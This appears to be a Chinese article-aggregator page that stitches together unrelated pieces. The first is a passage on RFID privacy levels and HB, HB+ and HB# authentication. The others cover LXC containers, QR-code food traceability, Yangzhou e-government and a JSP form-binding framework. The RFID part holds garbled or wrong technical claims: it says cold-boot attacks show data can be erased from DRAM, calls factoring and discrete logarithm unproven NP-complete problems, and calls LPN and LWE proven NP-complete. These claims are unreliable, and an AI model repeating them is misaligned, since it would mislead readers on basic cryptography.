Vaudenay的模型给出了最糟糕的情况:敌手已经完全控制了整个系统。敌手可以激发协议实例, 发送信息给读写器和标签, 还可以获取协议的输出结果。该种行为引起的一种典型实例就是打开一扇门或者是通过了基于RFID存取系统的某种门限。更为甚者, 敌手可以自行创建标签并选取他们的识别器, 或者篡改标签以及重置标签内的隐私资料和临时存储区内的内容。 (目前的cold-boot攻击已经证明敌手从临时存储区比如动态RAM中擦除数据是可行的。)

1.3 隐私安全等级

但是, 并不是所有的RFID标签均具有同等保护自身信息不被篡改的能力。弱安全性的标签, 在没有实施硬件损害的情况下, 信息可被篡改, 其自身也不可能伪装成敌手去篡改或破坏其他标签。标签之间的这种不同导致了几种不同的安全隐私等级。弱隐私是为不能篡改标签的敌手准备的。前向隐私安全, 保证即使敌手攻破了标签的防护, 也无法知道标签过去的任何行为。强隐私安全等级应该应用在比较弱的标签中, 比如, 敌手可以攻破并读取标签隐私的情况。显然, 因为比较弱的标签的防御机制比较弱, 所以假定有一较强能力的攻击者出现, 那么该标签就需要较高强度的安全部件来保护标签。

我们可以在标签上使用一个伪随机函数 (PRF) 来完成标签的弱隐私, 通过一个就像AES之类的安全密钥来启用PRF。假定公钥和对称密码是独立的, 前向隐私安全需要使用公钥加密。强隐私安全需要更加先进的密码学理论。一种就如RSA-OAEP (RSA-Optimal Asymmetric Encryption Padding) 的IND-CCA公钥编码体制, 其满足前向隐私安全, 但是不足以构建一种强隐私等级协议。相反, 一种如Cramer-Shoup加密系统的明文公钥体制可提供最强的隐私安全。

2 一种具有贡献意义的解决方案:HB协议

就如我们前面提到的, 早期经典的加密方案不适合RFID标签。即使最新提出的基础性简单的标准解决方案也很难满足RFID安全以及运行需求。所以, 我们急需更加创新的解决方案。

其中一种可供选择的密码学解决方案就是基于NP完全问题。我们可发现该领域已经有很多可供借鉴的研究成果。这种研究奠定了公钥密码学的基础, 同时也使“易计量”的计算机安全密码体系得到发展。

不幸的是, 大部分基于NP-complete的架构均已被攻破。所以, 研究者又将目光重新放到了未证实的NP-complete问题上, 比如因式分解和离散对数问题上。而很少有人在已证实的NP-complete问题上寻求解决方案, 但是最近几年少量的基于LPN (learning paritywith noise) 和LWE (learningwitherrors) 的创新方案被提出, 安全效果明显。而且两者都属于已证实的NP-complete问题。特别应指出的是, 研究者已将这些方法应用在设计HB家族协议上, 实现了对RFID系统的高效认证。LPN (噪声环境下的学习校验) 问题是为数不多的“矢量子集求和”困难问题, 对计算量和存储量要求不高, 适合标签这样的设备。

2.1 HB协议

就人类的操作而言 (我们可以使用笔和纸来完成此类操作) , HB协议仅仅需要非常简单的操作即可完成。在每次认证中, 通信双方只计算1bit的数据作为二元向量输出, 而验证方随机输出v来模拟LPN的噪声参数。发出信号方重复上述操作r次, 如果验证成功的次数大于某个最低限度。该类协议在通信信道中仅存在被动窃听时可以保护信道安全通信。

2.2 HB+协议

再没有比Juels和Weis提出的使用HB协议对RFID系统进行认证更容易操作的协议。基于上述原因他们提出了可以抵抗主动攻击的HB+协议 (对于RFID系统, 该协议的前提条件是, 假定敌手可以直接和标签和读写器相互通信, 但不是同时进行) 。不幸的是, 如果敌手同时进入通信双方, 该协议将对系统失去保护能力, 就如GRS (Gilbert, Robshaw, and Sibert) 的攻击模式。

2.3 HB#协议

在一系列对HB+的修改尝试后, 针对如何抵抗上述的GRS攻击, Henri Gilbet和他的同事们提出了HB#协议。他们提出只要LPN问题难解该协议可以有效防止诸如GRS类的攻击。另外, 也推测了HB#协议亦可有效防止中间人攻击。但是, 该推测最终被证实是错误的, 文献14中展示了针对HB#协议的OOV攻击 (Ouafi, Overbeck, and Vaudenay) 。[7]目前为止, 还没有任何针对HB#协议的修正协议被提出。

3 针对RFID标签是否存在中间人攻击

上述的GRS以及OOV攻击提醒我们注意一个关于RFID标签安全性的问题:中间人攻击是否是一种真正意义上的威胁?大多数现实中的标签只有在几个厘米的距离时方可被访问。敌手在如此近的距离试图控制信息的交换是很困难的。特别是在受距离限制的协议中, 此问题更突出, 因为认证过程中, 阅读器证实和它通信的标签是离它很近的方有效。

但是, 此类攻击仍有可能存在。一种此类攻击就是在一个RFID阅读器上附着一个很小的芯片, 用该芯片来阻止阅读器的通信。当然, 前面的讨论显然不适用更加复杂精细的可实现更远距离通信的标签。

4 结语

密码学家假设了一种最坏的情况, 比如敌手控制了整个通信。此情况下, 我们可以放眼整个市场, 可发现目前还没有能够满足该安全性的复杂计算设备。所以, 我们必须找到折中的办法。

在硬件方面, 磁性存储可能要取代传统存储。随着科学家开发出新类型的磁性存储硬件, 密码学者可以尝试使用该存储设备的特性来提高安全性。从硬件和软件着手改进, 在将来, 密码学者可能把安全和隐私等级提升到一种更高的水平。

参考文献

[1]胡向东等.物联网安全[M].北京:科学出版社, 2012:53-263

[2]丁治国.RFID关键技术研究与实现[J].中国科学技术大学, 2009:113-122

[3]戴雷.基于Blom矩阵方法的物联网感知层安全协议研究[D].复旦大学硕士学位论文, 2011:21-70

[4]WEBER R H.Internet of Things-New security and privacy challenges[J].Computer Law&Security Review, 2010, 26:23-30.

[5]Samia A.Ali, Refaat M.Mohamed, and Mahmoud H.Fahim.RCHB:Light-Weight, Provably-Secure Variants of the HB Protocol Using Rotation and Complementation, IEEE Computer Society, 2011.

基于轻量级容器的应用兼容技术 篇8

关键词:lxc,应用兼容,隔离性,KVM,升核

引言

对于操作系统与应用兼容问题张亮曾在其学位论文中进行了细致的分析和量化测试[1], 郭军等人也曾提出了一种软件应用平台兼容性测试方法[2], 他们的研究都对该问题的解决有一定的指导意义, 然而他们并没有提出可行的解决方案。

一、概述

对于大部分应用, 其与操作系统的不兼容问题主要是核外环境变更导致的。鉴于此, 可以想到的解决方案主要分为三大类。第一类[3]:只升级操作系统内核而保持其核外环境的不变, 该方案简称升核方案。第二类:使用像KVM这样的硬件级虚拟化处理, 该方案简称KVM方案。第三类:使用类似LXC的软件级虚拟化技术解决, 该方案简称LXC方案。

二、方案对比

对于上述三种方案, 以RHEL7为基础操作系统进行性能对比测试, 鉴于篇幅原因此处仅罗列总体评分测试结果。测试结果如图1。

测试结果反映了LXC总体评分仅次于全系统评分, 在三种方案中是最高的, 而KVM方案则是总体评分最差的方案。经测试和分析可知, 上述三种方案各有优劣, 对于KVM方案, 其能提供完整的操作系统, 隔离性和易用性都很优越, 然而其带来的资源开销也很大而且存在I/O及网络性能瓶颈[4]。对于升核方案, 其能在保证应用兼容的情况下让用户享受高版本的内核的特性, 且不用改变用户的使用习惯。然而也存在若干未知问题, 且图形显示性能不乐观。LXC方案在整体上优于上述两种方案, 但LXC方案也存在若干未知的问题需要去解决。

三、LXC方案介绍

3.1LXC介绍。LXC为Linux Container的缩写形式, 是一种操作系统内核虚拟化技术, 能提供轻量级虚拟化, 以便隔离进程和资源, 而且不需要提供指令解释机制以及全虚拟化的其他复杂性[5]。其主要利用到内核的namespace和Cgroup特性, 其中namespace主要用于资源隔离, Cgroup主要用于资源管理。其不需要像传统硬件虚拟机一样提供模拟层和运行客服操作系统, 因此会很大程度的节省资源开销。

3.2原理分析。低版本的应用无法正常运行在高版本的系统上, 最主要的原因是高版本系统glibc变更所导致的。鉴于此, 即可以用概述中提到LXC方案来解决此类问题。

LXC处理应用兼容问题首先得创建符合要求的容器, 该过程可以利用自动化脚本调用LXC-tools接口来完成。

3.3过程分析。容器创建的主要过程为获取用户输入的创建信息并赋给相应的变量, 然后创建容器中的配置文件及文件系统, 最后对容器中系统进行配置。

LXC处理应用兼容问题过程, 如图2。首先启动对应版本的容器, 并在容器中运行低版本系统上的应用程序, 然后将应用程序需要显示的信息发送到宿主机的X服务器上。由宿主机上的Xserver负责显示应用程序运行情况。

四、总结

文中重点介绍了lxc处理某类应用兼容问题的具体方法及步骤, 用对比的方式阐述了lxc处理此类应用兼容问题的优势与不足之处。

参考文献

[1]张亮.操作系统的软件兼容性研究[M].上海:同济大学, 2006.

[2]郭军, 刘强, 等.国产基础软件应用平台的兼容性测试研究[J].2012, TP302.7 (A) .

[3]陈晓.基于linux Container的Android移动终端虚拟化[D].广州:华南理工大学, 2013.

[4]Matt Helsley.LXC:Linux container tools[M], 2009.

轻量级软件开发 篇9

这只是二维码应用的一个案例,现在,二维码的应用正变得日渐丰富。就在日前,灵动快拍推出了二维码食品溯源方案,该方案实现了对食品安全“从田间到餐桌”的监控,并且使用起来非常简便。

开放式的系统

食品溯源其实并非一个新鲜业务,早在几年前该业务就已经出现,不过,该业务并没有在国内普及。灵动快拍产品总监张浩鹏分析,过去的食品溯源是一个相对封闭的系统,由执法部门推动,相关企业配合。过去的系统采取的大部分是DM码和QR码,这种码需要特殊的终端来扫码,这种终端比较笨重,花费较多,因此部分超市里布置了几台这样的终端,用户使用起来往往需要排队。此外,这种终端的操作比较麻烦,超市需要在人员培训和维护上投入资金和精力。由于用户和超市方面使用起来都不方便,所以过去的食品溯源系统推广的规模相当有限。

“能不能有一种方式,让每个老百姓都有一台扫码机呢?”灵动快拍创始人兼首席执行官王鹏飞反复思索,认为方便用户使用是问题的关键所在,而智能手机和二维码的普及给了王鹏飞灵感,将二维码和食品溯源系统结合,就诞生了灵动快拍近日推出的方案。

“我们新推的系统有两个特点,第一个是解决了‘最后一公里’,让老百姓真正用起来;第二是系统非常大众化,与原有笨重的终端设备相比更轻量级一些,只要农户有电脑或者手机,就可以方便地输入信息,而用户只要有一台手机就可以扫码查询。”

多头并进的市场策略

为了打破传统的食品溯源系统政府主推、用户反应冷淡的“剃头担子一头热”的局面,灵动快拍在方案的推广上采取了多方并举的措施。

“首先我们要和监管部门合作,由这些部门来推进,可以增加项目的公信力,避免可能发生的安全问题,在这其中我们会和运营商进行合作;其次,我们会向农户做宣传,让他们了解食品溯源系统的作用;最后,我们会向最终用户做工作,提高他们的食品安全意识,由他们来倒逼系统的推广。”王鹏飞坦言,食品溯源在中国还是一项新业务,在市场推广初期,灵动快拍的首要任务是教育市场,而要做到这一点,就需要多方面同时推进,其中教育最终用户非常重要。

构建轻量级信息高速公路之思考 篇10

大力推进信息化,是党中央、国务院顺应时代进步潮流和世界发展趋势作出的重大决策,是我国实现信息化与工业化相融合的重要环节,是促进生产力跨越式发展、增强综合国力和国际竞争力、维护国家安全的关键,是覆盖现代化建设全局的战略举措。

政务信息化作为信息化建设的核心内容,随着信息化的发展,在网上办公、业务协同、公众服务三个方面都有了很大的发展。但是,由于现有行政工作管理体制的限制、部门业务的不同以及行业信息化应用水平参差不齐,没有通行的政务信息化数据标准,导致了一些比较明显的现象,主要表现在:绝大多数部门与行业信息化建设自成体系的格局,造成了协调得了部门、协调不了众多的应用系统的局面。因此,在现阶段下正确分析目前全市部门应用系统建设现状,如何建立一个适应数据级别和应用级别而又不涉及部门业务的数据交换与共享通道,即轻量级信息高速公路,实现政府统筹协调、部门通力合作的电子政务应用系统建设很值得研究。

扬州市电子政务建设与应用现状

电子政务,是政府机构应用现代信息和通信技术,将管理和服务通过信息技术进行集成,优化重组政府组织结构和工作流程,从而构建各类面向不同对象的应用系统。其特征表现为超越时间和空间的限制,其功能表现为向公众与自身提供广泛、高效、规范的管理和服务。电子政务是网络和信息时代政府执政行政的重要方式,其应用系统是推进政府改革、精简政府机构、降低行政成本、提高行政效率、提升服务水平的有效工具。

扬州市政务信息化建设始自2002年,启动实施以 “中国扬州”政府门户网站、十大电子政务应用系统和空间地理信息公共平台“三大工程”为先导的电子政务工程建设。八年来,全市电子政务建设,坚持从顶层设计、标准规范入手,打造基础共享应用平台,积极打造包括先后承担国家人口基础信息共享试点、国家数字化城市管理、数字房管、金保工程、市民卡等一批国家、省级电子政务试点(重点)项目,不断扩大电子政务应用的深度和广度,建成了覆盖全市范围的电子政务专有网络、电子政务内网、政府门户网站群,建成了和支撑跨部门业务综合治税共享平台(覆盖40部门)、行政权力网上公开透明运行系统(覆盖全市所有行政权力)。各级部门普遍认识到应用是电子政务系统建设成功的关键,信息化建设水平高的部门更加强调整合、协同,重视服务。

扬州市基于综合治税共享平台构建的扬州市数据交换共享平台已经成为扬州市第三大电子政务基础设施,为电子监察、市民卡、综合治税、社会征信等项目提供了数据共享的通道,累计节省其他相关项目投资1200万元,其中综合治税项目投入使用三年来增加税收超过3亿元,行政权力网上公开透明运行促使涉及投资项目审批的19个部门、88事项中,有90%以上的事项承诺时限压缩在3个工作日内,营造了良好的投资软环境。2011年1月通过对市直47个部门285项行政许可、共12678笔业务进行时限实时监察,发现审批中心办件提前办结件、提前办结率为90.8%。

为什么构建轻量级信息高速公路

通过“十五”、“十一五”期间国家信息化试点城市的创新实践,在取得长足发展的同时,我们深刻体会看到,电子政务应用系统已经在各部门、各行业能够满足自己管理需求的同时,也能为公众提供很好的服务。但是囿于现行体制的制约,应用系统建设有这么以下几个问题值得深思:

第一,电子政务以自发建设为主,统一规划和统一管理还不能完全深入部门。无论是网络基础设施、基础数据库建设,还是业务应用系统、标准制度建设,电子政务建设仍旧具有部门化、行业化的特点;电子政务建设以纵向条线为主,缺乏横向统筹协调;项目为核心建设明显,缺乏项目与项目之间的统筹。

第二,共享基础环境与安全体系还不完善。以服务、应用为重点的系统建设已经取得各方共识,但对网络和信息资源整合、共享交换平台建设、政府业务与应用之间的相互融合、信息资源采集的标准、基础数据库建设、标准化体系建设、信息安全体系建设、系统的后续运维保障等基础性、长期性工作重视不够,严重制约了电子政务的深化发展和行政效能的进一步提升。

第三,电子政务应用系统建设各项标准有待建立健全。电子政务主管部门不明确,多头分散管理现象较为突出,一个部门内部都存在协调困难的情况,造成了电子政务“干弱枝强”、“信息孤岛”;电子政务建设方面缺乏统一标准、统一规划和统一管理,技术支撑资源缺乏,整合推进缓慢,造成各部门分散的信息随着时间的推移更加分散,给电子政务的整合工作带来越来越大的阻碍,制约了电子政务整体服务水平的提升。

电子政务建设的根本目的就是提高政府行政效能以便更好地为公众服务,为了进一步打造高效透明政府及公共服务型政府,实现政务服务便民化、行政办事效率化、政务流程简明化、政务服务一体化,就需要进一步与部门业务系统实现协同,就需要部门业务系统进一步与其他部门系统实现沟通,就需要一个轻量级的信息高速公路能够打通孤岛。

为什么说是一个轻量级的信息高速公路呢?因为这个信息高速公路它不需要涉及部门内部的业务流程,只需要实现数据级的以部门推送为主的信息的交换共享(有条件的、新建项目需要考虑自身应用的信息输入输出问题),涉及部门内部业务流程留给政府体制改革去做,我们只需把每个部门当作一个黑盒,只需要关心他输出什么和输入什么就可以了,它只需要提供一些基本的数据规范要求,只需要关心部门的数据标准。因此,一个轻量级的信息高速公路容易给部门所接受,现阶段就可能在轻量级信息高速公路的基础上,统一建设跨部门业务协同的政府综合服务平台,全面推进数字城市的建设。

构建轻量级信息高速公路的关键要素

扬州市电子政务建设已经具备了一定的电子政务基础网络、政府信息资源库、政府业务应用系统、政府对外综合服务平台,和一定的安全运行及规范标准保障。轻量级信息高速公路作为全市电子政务建设的一个补充,它是处理电子政务建设上述几个要素交互的一个手段,是部门精细化服务、管理和政府监管、决策研判深化发展的需要,是政府信息资源共享和开发利用的需要。它主要涉及到电子政务总体框架中几个要素之间的交互(见图1),因此来说构建轻量级信息高速公路的关键要素有三点:

(一)需要进一步完善安全的、集约化的电子政务基础设施

建设和完善电子政务网络平台。进一步完善统一的电子政务专网,逐步扩大接入范围,全面覆盖政务部门,基本完成政务部门纵向网络的分类整合,实现各主要业务网络横向间及与上下级电子政务网络纵向间的互联互通。

建立信息安全平台。依据国家相关要求,建立电子政务信息安全体系,重点加强对电子政务外网及外网应用的安全防护。加强对电子政务网络平台的统一监控和实时管理,建立网络安全防护系统,制定可靠的网络安全隔离策略和信息审查制度,落实信息安全责任,根据网络、应用系统和信息资源不同风险要求,实施保护。

(二)需要进一步健全机制、完善标准,提升电子政务发展环境

建立责权清晰、分工明确的电子政务管理体制。加快电子政务相关法规制度的研究制定,合理划分相关部门在电子政务规划、建设、管理工作中的职责分工,共同推进电子政务发展。制定电子政务项目建设管理、运行维护、绩效评估、政务信息资源开发利用、网络与信息安全管理、电子认证服务管理等方面的规章制度,逐步使全市电子政务建设和应用走上制度化、规范化、体系化的轨道。

建立电子政务标准与行政管理相互融合的工作机制。以国家、行业标准为主体,地方标准和技术规范性文件为补充,要根据公众服务、政府监管的需要,加强信息共享和业务协同标准研究,促进标准体系与管理制度的融合,建立电子政务标准化工作推进协调机制,加强电子政务标准体系的宣传贯彻和考核奖惩,进一步规范各部门电子政务建设。

(三)需要进一步深化应用、促进协同,推动信息资源开发利用,建立完善的面向公众服务的电子政务服务体系

加强重点业务系统深化发展。围绕公众、企事业单位和政府需要,选择社会公众关注度高、经济社会效益明显、业务流程相对稳定、信息密集、实时性强的政府业务,作为电子政务优先支持的业务。

推进跨部门信息系统建设。围绕公众、企事业单位和政府需要,统筹规划跨部门整合型政务系统建设,统筹协调相关政务系统之间、纵向和横向政务系统之间的互联互通、信息共享和业务协同,大力推进政府协同办公、行政权力网上公开透明运行、社会信用体系、突发公共事件应急指挥、社会综合治税、市民卡、政府决策支持等具有重大经济效益和社会效益的跨部门业务示范工程建设。

加快建设基础信息资源库。以整合资源为重点,以深化应用为核心,以共建共享为目标,按照“物理分散、逻辑集中”的方式,加快推进基础信息资源库、基础信息资源库基础要素建设,结合政府公共服务、市场监管、社会管理、经济调节和内部管理需要,建设一批政务主题信息库,为业务开展和政策制定提供数据支持。

建立政务信息资源管理机制。根据法律规定和部门职责的需要,明确各部门信息共享的内容、方式、责任、权利和义务,建立政务信息共享的长效机制,推动重点领域和跨部门政务信息资源共享,提高政府行政效能、服务水平和决策能力。

加强政府资源的整合和分析利用,建立和完善面向公众、企事业单位和政府工作人员的服务体系,变被动服务为主动服务。以公众为中心,进一步完善政府门户网站群,加强政府网站资源的整合和分析利用,提高网上政务公开和办事服务水平,加强与公众的沟通与互动。以企事业单位为中心,逐步建立网上“一站式”服务系统,将政府为企事业单位提供的各类服务进行整合,实现服务事项网上办理,建立企业服务目录,提高政府为企业服务的意识和能力。以政府工作人员为中心,建立政府工作人员信息资源门户,提供个性化信息服务。

提供多样化接入方式和服务渠道,丰富电子政务服务手段。推进服务终端的多样化,实现服务门户与计算机、电话、手机、广播、数字电视、信息亭等各类终端的互联互通,不断创新政民互动渠道和模式,构建完整的政务与公共信息服务体系,使服务对象可以方便、快捷、安全地享受到权限许可的电子政务及各类公共服务。

轻量级软件开发 篇11

在使用面向对象(Object Oriented Programming)思想进行web开发时,浏览器向服务器提交数据并封装到Java对象是一个非常频繁,传统的方式采用jsp标签-jsp:useBean实现浏览器数据封装到Java对象()中,使用这种方式只能封装简单字符型的数据,不能封装复杂的数据类型(日期、布尔)。针对此种封装方式的弊端,在当前流行的web框架中(struts1、struts2、webwork)[1]实现了复杂数据的封装,但是此种方式与框架集成,脱离web框架将无法实现J页面数据到Java对象封装,且此类框架中不能实现对自定义数据对象封装。针对以上二中方式的弊端,本文提出了基于JSP标签实现对浏览器中任何类型数据到Java对象封装,使用了JSP标签、Java反射机制等技术。

2 轻量级web表单数据封装框架实现方法

2.1 面向对象表单数据封装

在使用web技术开发时,一个表单往往代表一个对象数据,在java平台中使用Java Bean来封装表单提交的数据。Java Bean是可复用的组件,对Java Bean并没有严格的规范,理论上讲,任何一个Java类都可以是一个Bean.但通常情况下以Java Bean应具有一个无参的构造器.另外,通常Java Bean还要实现Serializable接口用于实现Bean的持久性[2]。Java Bean实际上相当于微软COM模型中的本地进程内COM组件,它是不能被跨进程访问的.Java Bean具有以下几个方面的特点:

1)定义该对象使用的常量。

2)绝大部分属性定义为私有属性(private)。

3)对属性设置通过setXxx方法进行,方法访问权限为公共(public),且set方法可以拥有一定的业务逻辑。

4)对属性的访问通过getXxx方法进行,方法访问权限为公共(public),且get方法可以拥有一定的业务逻辑。

5)对象序列化,Java Bean对象实现Serializable接口,为此对象可以作为文件流在网络中传输。

Java Bean封装表单提交数据有下面几种方式:

1)通过JSP内置对象request获取表单提交数据(字符串类型),将数据转化为与Java Bean对应的数据类型,通过set方法将数据封装到Java Bean中。此种方式工作量大,但可封装任何类型的数据类型,其中包括自定义的数据类型。

2)通过jsp:useBean标签来实现页面数据与Java Bean对象的封装。此种方式实现比较简单,但不能封装复杂的数据类型。

3)流行web框架集成实现自动对页面数据封装。此种方式封装的数据类型比较多,但需要编写配置文件,且此种方式不能脱离框架。

针对以上各种实现方式的优缺点,下面论述轻量级web表单数据封装框架实现。

2.2 JSP标签开发

Jsp标签介绍:

JSP标签开发步骤[3]:

1)开发jsp标签类,标签类需继承javax.servlet.jsp.tagext.TagSupport类,并覆写doStartTag和doEndTag方法。在doEndTag方法体类实现封装web表单数据到JavaBean的封装。

2)编写tld文件,在tld文件中描述标签名称、标签定义类、标签体,标签属性定义:属性名称、属性是否可空等。3)在web.xml配置文件中配置标签库,配置如下:

通过以上步骤实现了自定义标签,在jsp页面导入标签后变可使用标签进行web表单数据封装。

2.3 轻量级web表单数据封装框架实现

轻量级web表单数据封装需要使用jsp标签和java反射机制来实现,实现如图1所示。

JSP页面层在框架实现中需要规范各组件的命名,命名规范如下:

1)组件中的值若是java基本类型(String、Short、Integer、Double、Float、Boolean、Char、Date)则组件的命名只需与封装JavaBean对象名称一致便可(区分大小写)。

2)组件中的值若是JavaBen中自定义的对象的时,比如JavaBean中有一个属性为自定义对象User,组件的值对应User对象的Id,则组件的命名需为:user.Id(区分大小写)。

页面数据分析根据JavaBean属性针对的页面数据进行合法性分析,非法数据将被抛弃,不予封装到JavaBean对象中。

反射机制映射是整个框架中的核心,该机制实现页面数据到JavaBean对象封装[4]。反射(Reflect)是Java编程语言的特性。反射就是一个在当前JVM中支持类、接口和对象内省的小型的、类型安全的和可靠的API。它是通过java.lang.reflect包提供的,可以对类的能力进行分析。图2的流程图描述了在自定义标签中粘合数据分析、映射过程。

自定义标签调用数据验证模块,该模块对JSP页面数据进行验证,非法数据将被抛弃,使用自定义的getInstanceByClassType方法获取JavaBean实例,然后调用自定义getObjectByTypeValue方法将JSP页面数据转化为JavaBean对象属性类型实例,使用invokeMethod调用JavaBean的set方法将数据封装到JavaBean实例中并返回给JSP容器,供JSP程序调用。

3 结论

本文针对当前面向对象表单数据封装的优缺点,提出了轻量级web表单数据封装框架实现方案,在实现方案中使用了JSP标签技术、JAVA反射等技术。轻量级web表单数据封装框架方案已实现并在系统开发中得到应用,从而提高了软件开发效率。此框架具有良好的操作和扩张性。

参考文献

[1]赫斯特.实战STRUTS[M].北京:机械工业出版社,2005:100-130.

[2]埃史尔.Java编程思想[M].4版.陈昊鹏,译.北京:机械工业出版社,2007:456-480.

[3]刘晓华,张健,周慧贞.JSP应用开发详解[M].3版.北京:电子工业出版社,2007:321-350.

上一篇:心理健康与心理障碍下一篇:电网调度分析安全管理

本站热搜

    相关推荐